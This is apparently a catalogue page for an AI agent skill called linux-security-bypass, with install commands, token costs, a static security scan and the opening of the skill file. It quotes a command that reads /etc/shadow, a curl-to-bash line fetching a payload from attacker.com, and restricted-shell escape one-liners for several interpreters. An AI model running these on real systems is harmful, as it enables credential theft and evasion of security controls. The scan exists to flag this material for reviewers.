linux-security-bypass

linux-security-bypass is a skill for Claude Code, Codex from yaklang/hack-skills. It costs 51 tokens per session (3,025 once invoked), scanned C, original, MIT.

A guide to bypassing Linux security controls, including restricted shells, filesystem restrictions, application security policies, system-call filters, and audit logging.

In plain words
What is it for?
Use only in authorized security testing to study or assess restricted Linux environments and their defenses.
Why use it?
It is intended for situations where those controls prevent access or execution during post-exploitation. The input describes offensive evasion techniques, so use requires explicit authorization.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/yaklang/hack-skills/linux-security-bypass
Any agent
npx skills add yaklang/hack-skills --skill linux-security-bypass
Clone the repo
git clone --depth 1 https://github.com/yaklang/hack-skills

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for linux-security-bypass

README.md
[![agentmods](https://agentmods.dev/badge/skills/yaklang/hack-skills/linux-security-bypass.svg)](https://agentmods.dev/skills/yaklang/hack-skills/linux-security-bypass)
Your own site
<a href="https://agentmods.dev/skills/yaklang/hack-skills/linux-security-bypass"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/linux-security-bypass.svg" alt="Measured on agentmods" height="20"></a>
Per session 51 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,025 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00051 $0.03025
Opus 5 $0.00026 $0.01512
Sonnet 5 $0.00010 $0.00605
Haiku 4.5 $0.00005 $0.00302

Measured 4d ago against content hash e74f4f528832, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

linux-security-bypass scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

git diff /dev/null /etc/shadow

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Downloads and executes remote codemediumSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -sL https://attacker.com/payload | bash ddexec.sh

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sL https://attacker.com/payload | bash ddexec.sh

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

| Node.js | `node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'` |
Origin

Copies of this mod

2 near-identical copies found in the catalogue:

skills/linux-security-bypass/SKILL.md · 346 lines

How it starts

The opening of the file, as written. The whole thing — 346 lines — stays where its author put it; the contents beside it link to each section on GitHub.

SKILL: Linux Security Bypass — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Base models miss DDexec, memfd_create fileless execution, and architecture-confusion seccomp bypass.

Before going deep, consider loading:


1. RESTRICTED BASH (rbash) BYPASS

1.1 SSH-Based Bypass

# Force a different shell via SSH
ssh user@host -t "bash --noprofile --norc"
ssh user@host -t "/bin/sh"
ssh user@host -t "bash -l"

# If ForceCommand is set in sshd_config, these may not work
# Try SFTP/SCP instead — often not restricted:
sftp user@host
# SFTP shell can sometimes execute commands

1.2 Editor-Based Escape

# vi/vim escape
vi
:set shell=/bin/bash
:shell
# Or: :!/bin/bash

# ed escape
ed
!/bin/bash

# nano (if available)
# Ctrl+R → Ctrl+X → command execution

1.3 Language Interpreter Escape

Interpreter Command
Python python3 -c 'import pty; pty.spawn("/bin/bash")'
Perl perl -e 'exec "/bin/bash";'
Ruby ruby -e 'exec "/bin/bash"'
Lua lua -e 'os.execute("/bin/bash")'
PHP php -r 'system("/bin/bash");'
Node.js node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
AWK awk 'BEGIN {system("/bin/bash")}'

1.4 Environment Variable Tricks

Read the full file on GitHub · 346 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 346 lines · 51 tokens per session scan C e74f4f528832

Subscribe to this mod's changes

linux-security-bypass is a skill published in the GitHub repository yaklang/hack-skills (2,043 stars, last pushed 2mo ago), licensed MIT. It adds 51 tokens to every session and 3,025 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 4 findings (reaches for credential files, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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